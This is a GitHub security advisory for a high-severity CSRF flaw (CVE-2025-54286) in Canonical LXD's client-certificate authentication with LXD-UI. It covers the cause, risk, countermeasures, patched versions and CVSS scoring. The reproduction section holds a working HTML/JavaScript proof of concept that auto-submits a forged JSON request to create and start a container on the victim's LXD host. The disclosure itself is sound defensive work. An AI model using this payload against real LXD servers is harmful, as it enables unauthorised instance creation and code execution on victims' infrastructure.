Skip to content

Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

High severity GitHub Reviewed Published Oct 2, 2025 in canonical/lxd • Updated Oct 2, 2025

Package

gomod github.com/canonical/lxd (Go)

Affected versions

>= 5.0, < 5.0.5
>= 5.1, < 5.21.4
>= 6.0, < 6.5
>= 0.0.0-20220401034332-1e1349e3cbf3, < 0.0.0-20250827065555-0494f5d47e41

Patched versions

5.0.5
5.21.4
6.5
0.0.0-20250827065555-0494f5d47e41

Description

Description

OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps

  1. Prepare a malicious website controlled by the attacker
  2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured.
This is typically set in the default profile of projects created after storage pool creation.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
  1. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
  2. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk

The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures

The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints.
Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Fixed in LXD 5.0.5
4.0 Ignored - No web UI

References

Reported by GMO Flatt Security Inc.

References

@tomponline tomponline published to canonical/lxd Oct 2, 2025
Published by the National Vulnerability Database Oct 2, 2025
Published to the GitHub Advisory Database Oct 2, 2025
Reviewed Oct 2, 2025
Last updated Oct 2, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Learn more on MITRE.

CVE ID

CVE-2025-54286

GHSA ID

GHSA-p8hw-rfjg-689h

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.